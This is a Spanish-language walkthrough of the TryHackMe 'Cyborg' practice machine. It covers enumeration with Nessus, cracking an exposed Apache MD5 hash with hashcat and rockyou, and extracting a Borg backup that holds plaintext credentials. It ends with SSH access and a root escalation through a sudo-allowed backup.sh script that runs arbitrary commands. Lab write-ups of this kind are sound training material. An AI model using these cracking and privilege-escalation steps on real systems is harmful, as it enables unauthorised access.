Cyborg
RECONOCIMIENTO
Hoy vamos a practicar con la maquina de Tryhackme llamada Cyborg. Al iniciar la maquina, visito su dirección IP y nos encontramos que se trata de un servidor Apache
ESCANEO Y ENUMERACIÓN
Realizamos un escaner a la dirección IP. Para ellos podemos usar nmap o Nessus. En mi caso, estaré utilizando Nessus para esta máquina. Tras realizar el análisis, observamos que tiene los siguientes puertos abiertos y que además, podemos navegar por ciertos directorios que deberían estar protegidos.
Navegamos dentro de el directorio /etc/squid/
y nos encontramos con el archivo passwd.
Identificamos el Hash, existen varios métodos para identficarlo, en mi caso utilizaré la web Hashes.com. En Kali, existe una herramienta llamada #hash-identifier.
Guardamos el hash en un archivo y procedemos a desencriptarlo:
- Utilizaremos hashcat, para ello ejecutamos el siguiente comando:
1
❯ hashcat -m 1600 -a 0 <nombre de archivo> /usr/share/wordlists/rockyou.txt
- Una vez que obtenemos la clave, la guardamos en una nota:
1
❯ echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.:<clave>' > clavemd5.txt
Volvemos a Nessus y comprobamos los logs en busca de mas informacion. Conseguimos mas directorios por los que podemos navegar en la web.
Navegamos hasta el directorio /admin/
y nos encontramos con lo siguiente:
Descargamos el archivo archive.tar
. Para poder descomprimirlo, usamos el comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ tar xvf archive.tar
home/field/dev/final_archive/
home/field/dev/final_archive/hints.5
home/field/dev/final_archive/integrity.5
home/field/dev/final_archive/config
home/field/dev/final_archive/README
home/field/dev/final_archive/nonce
home/field/dev/final_archive/index.5
home/field/dev/final_archive/data/
home/field/dev/final_archive/data/0/
home/field/dev/final_archive/data/0/5
home/field/dev/final_archive/data/0/3
home/field/dev/final_archive/data/0/4
home/field/dev/final_archive/data/0/1
Observamos que tenemos un archivo ~/final_archive/config
. Navegamos hasta el directorio y examinamos el contenido:
1
2
3
❯ cd ~/TryHackme/maquinas/Cyborg/content/home/field/dev/final_archive
❯ ls
data config hints.5 index.5 integrity.5 nonce README
Leemos el README:
1
2
3
❯ catn README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
Descubrimos que es una copia de seguridad realizada con Borg. Procedemos a descargarlo e instalarlo:
1
sudo apt install borgbackup
Extraemos usando la contraseña que obtuvimos anteriormente (squi…):
1
borg extract ~/path/hasta/el/archivo/final_archive::music_archive
Ahora podremos navegar por los directorios /home/alex/
y dentro de uno de ellos encontraremos un archivo .txt con unas credenciales
1
2
3
4
❯ catn note.txt
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!
alex:S3
EXPLOTACIÓN
Ahora que hemos obtenido las credenciales, podremos conectarnos a través de ssh a nuestra víctima, para ellos ejecutamos:
1
ssh <usuario>:<ip_victima>
Una vez dentro listamos los directorios con ls -la
para ver todos los directorios y sus correspondientes privilegios. Encontramos un archivo .txt y ejecutamos el comando cat <archivo>.txt
para así poder leer su contenido. Dentro obtenemos nuestra primera flag.
1
2
<usuario>@ubuntu:~$ cat <archivo>.txt
flag{1_hop...
ESCALADA DE PRIVILEGIOS
Si ejecutamos el comando sudo -l
obtenemos el siguiente resultado:
1
2
3
4
5
6
Matching Defaults entries for <usuario> on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User <usuario> may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
Pero, me doy cuenta de algo que resulta bastante curioso. Al ver el contenido de el archivo .bash_history observo lo siguiente:
1
2
3
4
5
6
7
8
cd /etc/mp3backups/
ls
./backup.sh
ls
echo "hi" >> backup.sh
ls
sudo ./backup.sh -c whoami
sudo ./backup.sh -c /bin/bash
Me dirijo en donde se encuentra el archivo backup.sh y veo su contenido. Este archivo ejecuta un cronjob y da la casualidad, que permite la ejecución de comandos.
Si ejecutamos el archivo con sudo podemos navegar por el directorio root y dentro, descubrimos el archivo root.txt. Ya solo nos quedaria ver su contenido y obtener el ultimo flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@ubuntu:/etc/mp3backups$ sudo ./backup.sh -c "ls /root"
-------------------------------------------------------
Backup finished
root.txt
-------------------------------------------------------
@ubuntu:/etc/mp3backups$ sudo ./backup.sh -c "cat /root/root.txt"
-------------------------------------------------------
Backup finished
flag{Than5s_f0r_